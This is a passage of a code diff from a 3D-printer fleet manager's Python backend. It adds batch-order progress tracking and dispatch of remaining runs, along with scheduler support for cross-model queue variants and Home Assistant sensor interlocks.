+        providers = await self._get_providers_for_event(db, "on_ha_sensor_alert", printer_id)
+        if not providers:
+            return
+
+        variables = {
+            "printer": printer_name,
+            "sensor": sensor_name,
+            "state": state,
+        }
+
+        title, message = await self._build_message_from_template(db, "ha_sensor_alert", variables)
+        await self._send_to_providers(
+            providers,
+            title,
+            message,
+            db,
+            "ha_sensor_alert",
+            printer_id,
+            printer_name,
+            force_immediate=True,
+            variables=variables,
+        )
+
     async def on_first_layer_complete(
         self,
         printer_id: int,

+ 541 - 0
backend/app/services/print_batch.py

@@ -0,0 +1,541 @@
+"""Batch order planning: per-plate targets, progress, and staged dispatch (#342).
+
+A batch stores *intent* in :class:`PrintBatchPlate` rows — "this order wants 3
+of plate 2" — while its queue items record what was actually dispatched.
+Everything here derives one from the other.
+
+The distinction matters for exactly one reason, and it is the reason the
+feature exists: a failed or cancelled run does not count towards the target, so
+``remaining`` goes back up and the order still says it owes a print. A design
+that only counted the items it created could not tell "the user cancelled this
+deliberately" apart from "this one burned and needs reprinting".
+
+Batches created before targets existed have no plate rows. They still report
+progress — the plate breakdown is derived from their queue items and every
+target simply equals the number of items dispatched, so ``remaining`` is zero
+and the dispatch endpoint has nothing to do. ``has_targets`` tells callers
+which kind of batch they are looking at.
+"""
+
+import logging
+from dataclasses import dataclass, field
+from datetime import datetime, timezone
+
+from sqlalchemy import func, select, text
+from sqlalchemy.ext.asyncio import AsyncSession
+from sqlalchemy.orm import selectinload
+
+from backend.app.models.print_batch import PrintBatch, PrintBatchPlate
+from backend.app.models.print_log import PrintLogEntry
+from backend.app.models.print_queue import PrintQueueItem, PrintQueueVariant
+
+logger = logging.getLogger(__name__)
+
+# Statuses that consume a unit of the target. "printing" counts because the
+# run is in flight — re-dispatching it would double-print. "failed",
+# "cancelled" and "skipped" deliberately do not.
+CONSUMING_STATUSES = ("pending", "printing", "completed")
+
+# Queue statuses the roll-up has a counter for. Anything else is ignored rather
+# than crashing the page — the queue's status vocabulary is allowed to grow
+# without this module having to be updated in lockstep.
+COUNTED_STATUSES = ("pending", "printing", "completed", "failed", "cancelled", "skipped")
+
+# Columns copied onto a clone when dispatching more of a plate. This is the
+# print *configuration* the user already chose and the API already validated —
+# copying the row is what keeps a second dispatch identical to the first
+# without re-serialising twenty fields through a template blob that would drift
+# from the model the first time someone adds a column.
+CLONED_SETTING_COLUMNS = (
+    "printer_id",
+    "target_model",
+    "target_location",
+    "required_filament_types",
+    "archive_id",
+    "library_file_id",
+    "project_id",
+    "batch_id",
+    "ams_mapping",
+    "filament_overrides",
+    "plate_id",
+    "print_time_seconds",
+    "gcode_injection",
+    "nozzle_mapping",
+    "require_previous_success",
+    "auto_off_after",
+    "manual_start",
+    "bed_levelling",
+    "flow_cali",
+    "vibration_cali",
+    "layer_inspect",
+    "timelapse",
+    "use_ams",
+    "nozzle_offset_cali",
+    "preheat_override",
+    "preheat_chamber_target_override",
+    "skip_filament_check",
+)
+
+CLONED_VARIANT_COLUMNS = (
+    "position",
+    "library_file_id",
+    "target_model",
+    "plate_id",
+    "ams_mapping",
+    "nozzle_mapping",
+    "filament_overrides",
+    "required_filament_types",
+    "print_time_seconds",
+)
+
+
+class BatchDispatchError(Exception):
+    """Raised when more runs are owed but nothing can be cloned to produce them."""
+
+
+@dataclass
+class PlateProgress:
+    """Per-plate roll-up for one batch."""
+
+    plate_id: int | None
+    plate_name: str | None
+    quantity_target: int
+    sort_order: int = 0
+    pending: int = 0
+    printing: int = 0
+    completed: int = 0
+    failed: int = 0
+    cancelled: int = 0
+    skipped: int = 0
+    # Actual material + energy cost of this plate's finished runs. None when no
+    # run has produced a cost yet — reported as "unknown", never as zero.
+    actual_cost: float | None = None
+    filament_used_grams: float | None = None
+    print_time_seconds: int = 0
+
+    @property
+    def dispatched(self) -> int:
+        return self.pending + self.printing + self.completed
+
+    @property
+    def remaining(self) -> int:
+        return max(0, self.quantity_target - self.dispatched)
+
+    @property
+    def cost_per_run(self) -> float | None:
+        """Observed mean cost of this plate's completed runs, or None.
+
+        Deliberately measured rather than estimated from the file: the file's
+        estimate ignores what the run actually consumed, and a plate that has
+        never completed has no honest number to show.
+        """
+        if self.completed <= 0 or self.actual_cost is None:
+            return None
+        return self.actual_cost / self.completed
+
+    @property
+    def estimated_remaining_cost(self) -> float | None:
+        per_run = self.cost_per_run
+        if per_run is None:
+            return None
+        return per_run * self.remaining
+
+
+@dataclass
+class BatchProgress:
+    """Whole-order roll-up, plus the per-plate breakdown it was derived from."""
+
+    plates: list[PlateProgress] = field(default_factory=list)
+    has_targets: bool = False
+
+    def _sum(self, attr: str) -> int:
+        return sum(getattr(p, attr) for p in self.plates)
+
+    @property
+    def pending(self) -> int:
+        return self._sum("pending")
+
+    @property
+    def printing(self) -> int:
+        return self._sum("printing")
+
+    @property
+    def completed(self) -> int:
+        return self._sum("completed")
+
+    @property
+    def failed(self) -> int:
+        return self._sum("failed")
+
+    @property
+    def cancelled(self) -> int:
+        return self._sum("cancelled")
+
+    @property
+    def skipped(self) -> int:
+        return self._sum("skipped")
+
+    @property
+    def target(self) -> int:
+        return self._sum("quantity_target")
+
+    @property
+    def remaining(self) -> int:
+        return self._sum("remaining")
+
+    @property
+    def actual_cost(self) -> float | None:
+        costs = [p.actual_cost for p in self.plates if p.actual_cost is not None]
+        return sum(costs) if costs else None
+
+    @property
+    def estimated_remaining_cost(self) -> float | None:
+        estimates = [p.estimated_remaining_cost for p in self.plates if p.estimated_remaining_cost is not None]
+        return sum(estimates) if estimates else None
+
+    @property
+    def filament_used_grams(self) -> float | None:
+        grams = [p.filament_used_grams for p in self.plates if p.filament_used_grams is not None]
+        return sum(grams) if grams else None
+
+    @property
+    def print_time_seconds(self) -> int:
+        return self._sum("print_time_seconds")
+
+    @property
+    def is_fulfilled(self) -> bool:
+        """True when every target is met and nothing is still in flight.
+
+        A zero total target is never "fulfilled". Without that guard a legacy
+        batch whose items were all cancelled one by one would report itself
+        completed — its derived target counts only pending/printing/completed
+        items, so cancelling the lot leaves a target of zero that trivially
+        satisfies ``remaining == 0``.
+        """
+        return self.target > 0 and self.remaining == 0 and self.pending == 0 and self.printing == 0
+
+
+async def load_progress(db: AsyncSession, batch: PrintBatch) -> BatchProgress:
+    """Build the per-plate progress roll-up for *batch*.
+
+    Two queries plus one for costs, regardless of how many plates the order
+    has — this runs once per batch in the list endpoint.
+    """
+    plate_rows = (await db.execute(select(PrintBatchPlate).where(PrintBatchPlate.batch_id == batch.id))).scalars().all()
+
+    # (plate_id, status) -> count, plus the time/weight actually recorded.
+    item_rows = (
+        await db.execute(
+            select(
+                PrintQueueItem.plate_id,
+                PrintQueueItem.status,
+                func.count(PrintQueueItem.id),
+                func.sum(PrintQueueItem.print_time_seconds),
+            )
+            .where(PrintQueueItem.batch_id == batch.id)
+            .group_by(PrintQueueItem.plate_id, PrintQueueItem.status)
+        )
+    ).all()
+
+    # Per-run actuals, attributed through the queue item that produced them.
+    # PrintLogEntry is the authoritative per-run record (#1378) and is already
+    # scoped to the printed plate (#2614), so a multi-plate order gets each
+    # plate's own cost rather than the whole file's.
+    cost_rows = (
+        await db.execute(
+            select(
+                PrintQueueItem.plate_id,
+                func.sum(func.coalesce(PrintLogEntry.cost, 0.0) + func.coalesce(PrintLogEntry.energy_cost, 0.0)),
+                func.sum(PrintLogEntry.filament_used_grams),
+            )
+            .select_from(PrintLogEntry)
+            .join(PrintQueueItem, PrintLogEntry.queue_item_id == PrintQueueItem.id)
+            .where(PrintQueueItem.batch_id == batch.id)
+            .group_by(PrintQueueItem.plate_id)
+        )
+    ).all()
+    costs = {row[0]: (row[1], row[2]) for row in cost_rows}
+
+    progress = BatchProgress(has_targets=bool(plate_rows))
+    by_plate: dict[int | None, PlateProgress] = {}
+
+    for row in plate_rows:
+        by_plate[row.plate_id] = PlateProgress(
+            plate_id=row.plate_id,
+            plate_name=row.plate_name,
+            quantity_target=row.quantity_target,
+            sort_order=row.sort_order,
+        )
+
+    for plate_id, status, count, time_sum in item_rows:
+        plate = by_plate.get(plate_id)
+        if plate is None:
+            # A queue item for a plate the order has no target row for: either
+            # a legacy batch, or an item grouped in by hand after the fact.
+            # Its own dispatched count becomes its target so it reads as
+            # complete rather than as owing work nobody asked for.
+            plate = PlateProgress(plate_id=plate_id, plate_name=None, quantity_target=0, sort_order=plate_id or 0)
+            by_plate[plate_id] = plate
+            if status in CONSUMING_STATUSES:
+                plate.quantity_target += count
+        elif not progress.has_targets and status in CONSUMING_STATUSES:
+            plate.quantity_target += count
+        if status in COUNTED_STATUSES:
+            setattr(plate, status, getattr(plate, status) + count)
+        else:
+            logger.debug("Batch %s: ignoring queue item status %r in progress roll-up", batch.id, status)
+        plate.print_time_seconds += int(time_sum or 0)
+
+    for plate_id, (cost_sum, gram_sum) in costs.items():
+        plate = by_plate.get(plate_id)
+        if plate is None:
+            continue
+        plate.actual_cost = float(cost_sum) if cost_sum else None
+        plate.filament_used_grams = float(gram_sum) if gram_sum else None
+
+    progress.plates = sorted(by_plate.values(), key=lambda p: (p.sort_order, p.plate_id or 0))
+    return progress
+
+
+async def refresh_batch_status(db: AsyncSession, batch: PrintBatch) -> bool:
+    """Flip an ``active`` batch to ``completed`` once its targets are met.
+
+    Returns True when the status changed. A ``cancelled`` batch is never
+    resurrected, and a ``completed`` batch drops back to ``active`` if its
+    targets grow — raising a target on a finished order reopens it rather than
+    leaving a "completed" order that still owes prints.
+    """
+    progress = await load_progress(db, batch)
+
+    if batch.status == "cancelled":
+        return False
+
+    if batch.status == "active" and progress.is_fulfilled:
+        batch.status = "completed"
+        batch.completed_at = datetime.now(timezone.utc)
+        logger.info("Batch %s fulfilled — marked completed", batch.id)
+        return True
+
+    # A grouping whose every item was cancelled one at a time is finished, but
+    # nothing was produced, so "completed" would be a lie and `is_fulfilled`
+    # rightly refuses it (its derived target is zero). Left alone it would sit
+    # on "active" forever. Cancelled is what it is, and matches what the
+    # batch-level Cancel action would have set had it been used.
+    #
+    # Deliberately not applied to orders: an order states its intent
+    # independently of its runs, so cancelling every run still leaves it owing
+    # work and offering to re-queue it. A grouping has no such statement — it
+    # was only ever the sum of its items.
+    if batch.status == "active" and not progress.has_targets and progress.completed == 0:
+        settled = progress.pending == 0 and progress.printing == 0
+        if settled and progress.cancelled > 0 and progress.failed == 0 and progress.skipped == 0:
+            batch.status = "cancelled"
+            logger.info("Batch %s had every item cancelled — marked cancelled", batch.id)
+            return True
+
+    if batch.status == "completed" and not progress.is_fulfilled:
+        batch.status = "active"
+        batch.completed_at = None
+        logger.info("Batch %s reopened — targets no longer met", batch.id)
+        return True
+
+    return False
+
+
+async def backfill_batch_statuses(db: AsyncSession) -> int:
+    """Close out ``active`` batches that finished before the status existed.
+
+    ``completed`` only became reachable with #342. Every batch created since
+    the feature shipped in April 2026 is therefore still marked ``active``,
+    however long ago its last run finished — so without this pass the Batches
+    tab opens on months of accumulated history.
+
+    Runs on every startup rather than once behind a marker: it is cheap (only
+    batches with nothing in flight are even considered), it is idempotent, and
+    repeating it also closes out any order whose last run landed while the
+    process was down.
+
+    Returns the number of batches whose status changed.
+    """
+    candidates = (
+        (
+            await db.execute(
+                select(PrintBatch)
+                .where(PrintBatch.status == "active")
+                # Anything still queued or printing is by definition unfinished,
+                # and re-deriving its progress would change nothing.
+                .where(
+                    ~select(PrintQueueItem.id)
+                    .where(PrintQueueItem.batch_id == PrintBatch.id)
+                    .where(PrintQueueItem.status.in_(("pending", "printing")))
+                    .exists()
+                )
+            )
+        )
+        .scalars()
+        .all()
+    )
+
+    changed = 0
+    for batch in candidates:
+        if await refresh_batch_status(db, batch):
+            changed += 1
+
+    if changed:
+        await db.commit()
+        logger.info("Marked %d finished batch(es) as completed at startup (#342)", changed)
+    return changed
+
+
+async def refresh_batch_status_for_item(db: AsyncSession, queue_item_id: int) -> None:
+    """Re-evaluate the batch owning *queue_item_id*, if it has one.
+
+    Called from the print-completion path so a finished order reports itself
+    complete the moment its last run lands, rather than whenever someone next
+    opens the page.
+    """
+    batch_id = (
+        await db.execute(select(PrintQueueItem.batch_id).where(PrintQueueItem.id == queue_item_id))
+    ).scalar_one_or_none()
+    if batch_id is None:
+        return
+    batch = (await db.execute(select(PrintBatch).where(PrintBatch.id == batch_id))).scalar_one_or_none()
+    if batch is None:
+        return
+    await refresh_batch_status(db, batch)
+
+
+async def _next_position(db: AsyncSession, printer_id: int | None) -> int:
+    """Next free queue position in the scope a clone will land in.
+
+    Positions are per-queue, not global: one sequence per printer plus one
+    shared sequence for unassigned / model-based items, matching the scope the
+    add-to-queue route uses. Taking a global MAX here would drop every clone
+    at the end of whichever printer's queue happens to be longest and scramble
+    the order the user sees.
+    """
+    # Same advisory lock the add-to-queue route takes (#1625-followup): two
+    # concurrent inserts into an empty scope would otherwise both read
+    # MAX(position) as 0 and land on position 1. SQLite serialises writes
+    # implicitly and needs no equivalent.
+    bind = db.get_bind()
+    if bind.dialect.name == "postgresql":
+        await db.execute(
+            text("SELECT pg_advisory_xact_lock(1625, :k)"), {"k": printer_id if printer_id is not None else 0}
+        )
+
+    scope = PrintQueueItem.printer_id == printer_id if printer_id is not None else PrintQueueItem.printer_id.is_(None)
+    max_pos = (
+        await db.execute(
+            select(func.max(PrintQueueItem.position)).where(scope).where(PrintQueueItem.status == "pending")
+        )
+    ).scalar() or 0
+    return max_pos + 1
+
+
+def _clone_queue_item(source: PrintQueueItem, *, position: int, created_by_id: int | None) -> PrintQueueItem:
+    """Copy *source*'s print configuration into a fresh pending item.
+
+    Lifecycle state (status, timestamps, retry counters, scheduler flags) is
+    deliberately not copied — the clone is a new run, not a resurrection.
+
+    ``scheduled_time`` is dropped too: dispatching more of a plate is a
+    "queue this now" action, and replaying the original's scheduled time would
+    either fire immediately (it is in the past) or silently park the new run
+    until a moment the user chose for a different print.
+
+    ``cleanup_library_after_dispatch`` is forced off. It only ever comes from
+    the Printers-page direct-print flow, where it deletes the transient library
+    row after dispatch — replaying that on a clone would delete the source file
+    out from under the rest of the order.
+    """
+    clone = PrintQueueItem(
+        status="pending",
+        position=position,
+        created_by_id=created_by_id if created_by_id is not None else source.created_by_id,
+        cleanup_library_after_dispatch=False,
+    )
+    for column in CLONED_SETTING_COLUMNS:
+        setattr(clone, column, getattr(source, column))
+    return clone
+
+
+async def dispatch_remaining(
+    db: AsyncSession,
+    batch: PrintBatch,
+    *,
+    plate_id: int | None = None,
+    only_plate: bool = False,
+    limit: int | None = None,
+    created_by_id: int | None = None,
+) -> list[PrintQueueItem]:
+    """Create queue items for the runs *batch* still owes.
+
+    ``only_plate`` restricts the dispatch to the single plate named by
+    ``plate_id`` (which may legitimately be ``None`` for a single-plate file);
+    otherwise every plate with work outstanding is dispatched in plate order.
+    ``limit`` caps the total number of items created across all plates.
+
+    Raises :class:`BatchDispatchError` when a plate owes runs but has no
+    existing item to clone — the order can describe work it has never once
+    dispatched, and there is no configuration to copy in that case.
+    """
+    progress = await load_progress(db, batch)
+    if not progress.has_targets:
+        return []
+
+    targets = [p for p in progress.plates if p.remaining > 0]
+    if only_plate:
+        targets = [p for p in targets if p.plate_id == plate_id]
+
+    created: list[PrintQueueItem] = []
+
+    for plate in targets:
+        if limit is not None and len(created) >= limit:
+            break
+
+        source = (
+            await db.execute(
+                select(PrintQueueItem)
+                .options(selectinload(PrintQueueItem.variants))
+                .where(PrintQueueItem.batch_id == batch.id)
+                .where(PrintQueueItem.plate_id == plate.plate_id)
+                .order_by(PrintQueueItem.id.desc())
+                .limit(1)
+            )
+        ).scalar_one_or_none()
+
+        if source is None:
+            raise BatchDispatchError(
+                f"Plate {plate.plate_id if plate.plate_id is not None else 1} has no queued or finished run to "
+                "copy settings from. Queue it once from the file, then dispatch the rest from here."
+            )
+
+        wanted = plate.remaining
+        if limit is not None:
+            wanted = min(wanted, limit - len(created))
+
+        # One scope per source printer; clones for this plate all land in it,
+        # appended after whatever is already queued there.
+        position = await _next_position(db, source.printer_id)
+
+        for _ in range(wanted):
+            clone = _clone_queue_item(source, position=position, created_by_id=created_by_id)
+            position += 1
+            db.add(clone)
+            await db.flush()
+            for variant in source.variants:
+                cloned_variant = PrintQueueVariant(queue_item_id=clone.id)
+                for column in CLONED_VARIANT_COLUMNS:
+                    setattr(cloned_variant, column, getattr(variant, column))
+                db.add(cloned_variant)
+            created.append(clone)
+
+    if created:
+        # Dispatching more work can only ever un-fulfil an order, but run the
+        # check anyway so a reopened batch flips back from completed.
+        await db.flush()
+        await refresh_batch_status(db, batch)
+
+    logger.info("Dispatched %d item(s) for batch %s", len(created), batch.id)
+    return created

+ 2 - 0
backend/app/services/print_log.py

@@ -18,6 +18,7 @@ async def write_log_entry(
     *,
     status: str,
     archive_id: int | None = None,
+    queue_item_id: int | None = None,
     print_name: str | None = None,
     printer_name: str | None = None,
     printer_id: int | None = None,
@@ -56,6 +57,7 @@ async def write_log_entry(
 
     entry = PrintLogEntry(
         archive_id=archive_id,
+        queue_item_id=queue_item_id,
         print_name=print_name,
         printer_name=printer_name,
         printer_id=printer_id,

+ 652 - 95
backend/app/services/print_scheduler.py

@@ -4,6 +4,7 @@ import asyncio
 import json
 import logging
 import time
+from dataclasses import dataclass
 from datetime import datetime, timezone
 from pathlib import Path
 
@@ -18,7 +19,7 @@ from backend.app.core.tasks import spawn_background_task
 from backend.app.core.websocket import ws_manager
 from backend.app.models.archive import PrintArchive
 from backend.app.models.library import LibraryFile
-from backend.app.models.print_queue import PrintQueueItem
+from backend.app.models.print_queue import PrintQueueItem, PrintQueueVariant
 from backend.app.models.printer import Printer
 from backend.app.models.settings import Settings
 from backend.app.models.smart_plug import SmartPlug
@@ -40,6 +41,7 @@ from backend.app.services.finance_budget import (
     release_budget_reservation,
     validate_print_budget,
 )
+from backend.app.services.ha_sensor_manager import ha_sensor_manager
 from backend.app.services.notification_service import notification_service
 from backend.app.services.printer_manager import (
     printer_manager,
@@ -162,6 +164,135 @@ def _canonical_filament_type(ftype: str) -> str:
     return _FILAMENT_EQUIV_MAP.get(upper, upper)
 
 
+@dataclass(slots=True)
+class _ModelCandidate:
+    """One (file, printer model) pair the model-based matcher may try.
+
+    Model-based assignment used to have exactly one of these per item, held
+    directly in the item's own columns. Cross-model queue items (#671) have
+    several, held in ``print_queue_variants``. Both shapes are normalised into
+    this so the matching, the cross-model gate and the waiting-reason handling
+    are written once and an item without variants provably takes the same path
+    it took before variants existed.
+
+    ``variant`` is None for the item's own columns and set for a real variant
+    row, which is what :meth:`PrintScheduler._resolve_variant` writes onto the
+    item once that candidate wins.
+    """
+
+    target_model: str | None
+    sliced_for: str | None
+    required_filament_types: str | None
+    filament_overrides: str | None
+    variant: "PrintQueueVariant | None" = None
+
+
+def _sliced_for_model(archive, library_file) -> str | None:
+    """Model a 3MF declares it was sliced for, from whichever source holds it."""
+    if archive is not None:
+        return archive.sliced_for_model
+    if library_file is not None and library_file.file_metadata:
+        return library_file.file_metadata.get("sliced_for_model")
+    return None
+
+
+def _candidates_for(item: PrintQueueItem) -> list[_ModelCandidate]:
+    """Candidate files for ``item``, best first.
+
+    An item with no variant rows yields exactly one candidate built from its own
+    columns — the pre-#671 behaviour, unchanged.
+
+    Variants come back least-attempted first, ties broken by the user's
+    ``position``. On the first pass every count is zero, so this is purely the
+    user's priority order. After a start-watchdog bounce the printer that failed
+    drops behind, so the next lap tries the other machine rather than spending the
+    item's whole retry budget on the one that is wedged. Once every candidate has
+    been tried equally often they cycle again, which keeps the item-level
+    ``DISPATCH_MAX_ATTEMPTS`` bound from #2555 intact — a job with alternatives
+    still gives up, it just does not give up without trying them.
+    """
+    if not item.variants:
+        if not item.archive_id and not item.library_file_id:
+            # Nothing to print at all. Dispatching would fail deep in the upload
+            # on "No archive_id or library_file_id"; the caller holds the item
+            # with an explanation instead.
+            return []
+        return [
+            _ModelCandidate(
+                target_model=item.target_model,
+                sliced_for=_sliced_for_model(item.archive, item.library_file),
+                required_filament_types=item.required_filament_types,
+                filament_overrides=item.filament_overrides,
+            )
+        ]
+
+    # Drop candidates whose file is gone or in the trash. Both are reachable and
+    # neither is covered by the schema: library deletes are soft (the row lives
+    # on with ``deleted_at`` set, which no foreign key can express), and SQLite
+    # ships with ``PRAGMA foreign_keys`` off, so the ON DELETE CASCADE never
+    # fires there and a hard delete leaves the variant row pointing at nothing.
+    usable = [v for v in item.variants if v.library_file is not None and v.library_file.deleted_at is None]
+
+    ordered = sorted(usable, key=lambda v: (v.attempt_count or 0, v.position, v.id))
+    return [
+        _ModelCandidate(
+            target_model=v.target_model,
+            sliced_for=_sliced_for_model(None, v.library_file),
+            required_filament_types=v.required_filament_types,
+            filament_overrides=v.filament_overrides,
+            variant=v,
+        )
+        for v in ordered
+    ]
+
+
+def _collapse_waiting_reasons(per_model: list[tuple[str | None, str]]) -> str | None:
+    """Fold one waiting reason per candidate into a single line for the item.
+
+    A cross-model item produces a reason per candidate, and pasting them
+    together unlabelled reads as gibberish ("No idle printer; PETG not loaded"
+    — on which machine?). Each reason is prefixed with its model, except in the
+    single-candidate case where the item already displays its target model and
+    the prefix would be noise.
+
+    Identical reasons collapse rather than repeat, so three idle-less models
+    read as one clause.
+
+    When *every* candidate is merely busy the parts are joined with the ``" | "``
+    separator :meth:`PrintScheduler._is_busy_only` already parses, and left
+    unprefixed. That case must keep testing busy-only: a fleet that is simply
+    printing needs no user action, and labelling the clauses would turn each pass
+    over a two-model item into a "job waiting" notification.
+    """
+    reasons = [(model, reason) for model, reason in per_model if reason]
+    if not reasons:
+        return None
+    if len(reasons) == 1:
+        return reasons[0][1]
+
+    distinct = list(dict.fromkeys(reason for _model, reason in reasons))
+    if len(distinct) == 1:
+        return distinct[0]
+
+    if all(PrintScheduler._is_busy_only(reason) for _model, reason in reasons):
+        return " | ".join(distinct)
+
+    return "; ".join(f"{model or 'unassigned'}: {reason}" for model, reason in reasons)
+
+
+def _candidate_model_label(candidates: list[_ModelCandidate]) -> str | None:
+    """Human label for the models an item is waiting on ("H2S or H2C").
+
+    Notifications take a single target model. For a cross-model item the item's
+    own ``target_model`` is whichever variant happens to be first, which reads as
+    a lie once it is the H2C that actually runs — so name all of them.
+    """
+    models = list(dict.fromkeys(c.target_model for c in candidates if c.target_model))
+    if not models:
+        return None
+    return " or ".join(models)
+
+
 def _mapping_is_all_unresolved(mapping: list | None) -> bool:
     """True if ``mapping`` is a non-empty list whose every entry is the
     unresolved sentinel (-1 / None) — i.e. no required slot ever matched a tray.
@@ -200,6 +331,34 @@ def _mqtt_commands_rejected(status) -> bool:
     return False
 
 
+def _drying_ams_ids(status) -> list[int]:
+    """AMS unit ids currently running a drying cycle, per firmware telemetry.
+
+    ``dry_time`` is minutes remaining, so >0 is the firmware's own statement that
+    a cycle is active. Used by the dispatch watchdog to say *why* a print never
+    started (#2758) — it is a diagnostic, not a gate.
+
+    Deliberately not used to block or stop drying before dispatch. This printer
+    class supports drying concurrently with an active print
+    (``supports_drying_while_printing``), so drying is not incompatible with
+    printing in general; what #2758 shows is one X2D refusing to *begin* a print
+    while two AMS units were drying, one of them without its external PSU. Until
+    it is known whether the blocker is drying itself or the power budget
+    (``dry_sf_reason`` 1 / 8), acting on this would tear down drying that the
+    hardware is perfectly happy to continue.
+    """
+    ids: list[int] = []
+    for unit in (getattr(status, "raw_data", None) or {}).get("ams") or []:
+        if not isinstance(unit, dict):
+            continue
+        try:
+            if int(unit.get("dry_time") or 0) > 0:
+                ids.append(int(unit.get("id", 0)))
+        except (TypeError, ValueError):
+            continue
+    return ids
+
+
 def _installed_nozzle_diameters(status) -> list[float]:
     """Parse the installed nozzle diameters from a PrinterState (#1899).
 
@@ -244,6 +403,43 @@ def _nozzle_mismatch_message(sliced_nozzle: float | None, installed: list[float]
     )
 
 
+def _describe_filament(entry: dict, nozzle_key: str) -> str:
+    """One-line "PETG #000000 (left nozzle)" for an error message (#2771).
+
+    Shared by the required and loaded sides, which name their extruder
+    differently: a 3MF requirement carries ``nozzle_id``, a loaded tray carries
+    ``extruder_id``. Both are MQTT extruder ids — 0 is the right/main nozzle,
+    1 the left/deputy — and both are absent on single-nozzle printers, where
+    naming a nozzle would be noise.
+    """
+    parts = [(entry.get("type") or "filament").upper()]
+    if entry.get("color"):
+        parts.append(str(entry["color"]))
+    nozzle = entry.get(nozzle_key)
+    if nozzle == 0:
+        parts.append("(right nozzle)")
+    elif nozzle == 1:
+        parts.append("(left nozzle)")
+    return " ".join(parts)
+
+
+def _unmatched_filament_message(required: list[dict], loaded: list[dict]) -> str:
+    """Explain that nothing loaded matches what the file needs (#2771).
+
+    Only ever built for a printer with no AMS, where the loaded list is short
+    enough to quote in full and there is no "load another spool and hit Resume"
+    recovery — the external spool holder is all there is, so the user needs to
+    be told which filament to put on it.
+    """
+    want = ", ".join(_describe_filament(r, "nozzle_id") for r in required)
+    have = ", ".join(_describe_filament(f, "extruder_id") for f in loaded)
+    return (
+        f"No filament loaded on this printer matches the file. It needs {want}; "
+        f"the printer has {have} and no AMS. Load the required filament on the "
+        f"external spool holder, or send this job to a printer that has it."
+    )
+
+
 class PrintScheduler:
     """Background scheduler that processes the print queue."""
 
@@ -415,6 +611,10 @@ class PrintScheduler:
                     .options(
                         selectinload(PrintQueueItem.archive),
                         selectinload(PrintQueueItem.library_file),
+                        # Cross-model candidates (#671), plus each candidate's file
+                        # for the same cross-model gate. Lazy-loading either would
+                        # raise in async.
+                        selectinload(PrintQueueItem.variants).selectinload(PrintQueueVariant.library_file),
                     )
                     .order_by(
                         PrintQueueItem.printer_id,
@@ -433,6 +633,10 @@ class PrintScheduler:
                     .options(
                         selectinload(PrintQueueItem.archive),
                         selectinload(PrintQueueItem.library_file),
+                        # Cross-model candidates (#671), plus each candidate's file
+                        # for the same cross-model gate. Lazy-loading either would
+                        # raise in async.
+                        selectinload(PrintQueueItem.variants).selectinload(PrintQueueVariant.library_file),
                     )
                     .order_by(PrintQueueItem.printer_id, PrintQueueItem.position)
                 )
@@ -508,6 +712,31 @@ class PrintScheduler:
                 if inflight_pid is not None:
                     busy_printers.add(inflight_pid)
 
+            # Printers held by a Home Assistant sensor interlock (#1148) — an
+            # enclosure door left open, say. The fixed-printer branch turns
+            # this into a waiting_reason the user can act on; the model-based
+            # branch hides these printers from the matcher so an "Any <model>"
+            # job runs on a sibling instead of queueing behind the held one.
+            #
+            # Deliberately NOT merged into busy_printers, even though that set
+            # already means "unavailable this pass". _check_auto_drying reads
+            # it as "is currently printing" and would put an idle-but-held
+            # printer down the mid-print drying path, which caps the drying
+            # temperature and skips the queue-only gating. A held printer is
+            # idle; it should dry exactly as it did before.
+            #
+            # Only sensors we actually read and found alerting appear here; see
+            # ha_sensor_manager.blocked_printers. A Home Assistant that is down
+            # holds nothing.
+            interlocked: dict[int, str] = {}
+            try:
+                interlocked = await ha_sensor_manager.blocked_printers(db)
+            except Exception as e:
+                # Never let the interlock stop the queue running. A broken
+                # lookup means no holds, not no dispatches.
+                logger.warning("Home Assistant interlock check failed: %s", e)
+                interlocked = {}
+
             # Log skip reasons once per queue check (not per item)
             skip_reasons: dict[str, int] = {}
 
@@ -567,6 +796,28 @@ class PrintScheduler:
                     continue
 
                 if item.printer_id:
+                    # Held by a sensor interlock (#1148). Checked before the
+                    # busy_printers test that would otherwise swallow it
+                    # silently — "waiting for a printer" and "waiting for you
+                    # to shut the enclosure" need to read differently, and only
+                    # one of them is something the user can fix.
+                    #
+                    # The interlock is the only thing that writes a
+                    # waiting_reason on this branch — the model-based branch
+                    # nulls it at the moment it assigns a printer — so any
+                    # reason still standing once the hold lifts is stale and is
+                    # cleared here. Doing it at dispatch instead would leave a
+                    # shut door reading "Waiting on Enclosure Door" for as long
+                    # as the printer stayed busy with something else.
+                    interlock_reason = interlocked.get(item.printer_id)
+                    reason = f"Waiting on {interlock_reason}" if interlock_reason else None
+                    if item.waiting_reason != reason:
+                        item.waiting_reason = reason
+                        await db.commit()
+                    if interlock_reason:
+                        skip_reasons["sensor_interlock"] = skip_reasons.get("sensor_interlock", 0) + 1
+                        continue
+
                     # Specific printer assignment (existing behavior)
                     if item.printer_id in busy_printers:
                         continue
@@ -653,7 +904,10 @@ class PrintScheduler:
                     # (all -1). A stored all-[-1] mapping is a bug artifact — a
                     # frontend status-load race can persist [-1] (#2589) — and
                     # must be recomputed from live trays rather than trusted.
-                    await self._ensure_ams_mapping(db, item.printer_id, item)
+                    unmappable = await self._ensure_ams_mapping(db, item.printer_id, item)
+                    if unmappable:
+                        await self._fail_unmappable_item(db, item, item.printer_id, unmappable)
+                        continue
 
                     # Filament-deficit pre-dispatch check (#1496). If the
                     # assigned spool can't satisfy any required slot grams,
@@ -695,60 +949,95 @@ class PrintScheduler:
                                 other.been_jumped = True
                         await db.commit()
 
-                elif item.target_model:
-                    # Model-based assignment - find any idle printer of matching model
-                    # Parse required filament types if present
-                    required_types = None
-                    if item.required_filament_types:
-                        try:
-                            required_types = json.loads(item.required_filament_types)
-                        except json.JSONDecodeError:
-                            pass  # Ignore malformed filament types; treat as no constraint
+                elif item.target_model or item.variants:
+                    # Model-based assignment - find any idle printer of matching model.
+                    # A plain model-based item has exactly one candidate, built from
+                    # its own columns. A cross-model item (#671) has one per sliced
+                    # variant and takes the first that matches, walking them in the
+                    # user's priority order so the pick is reproducible when more
+                    # than one printer is free in the same pass.
+                    candidates = _candidates_for(item)
+                    printer_id = None
+                    chosen: _ModelCandidate | None = None
+                    per_model_reasons: list[tuple[str | None, str]] = []
+
+                    if not candidates:
+                        # Every candidate file has been deleted or trashed out from
+                        # under this item. Hold it with something the user can act
+                        # on rather than letting it look dispatchable forever.
+                        per_model_reasons.append(
+                            (
+                                item.target_model,
+                                "Every file for this job has been deleted — add a file back or remove the item",
+                            )
+                        )
 
-                    # Parse filament overrides if present
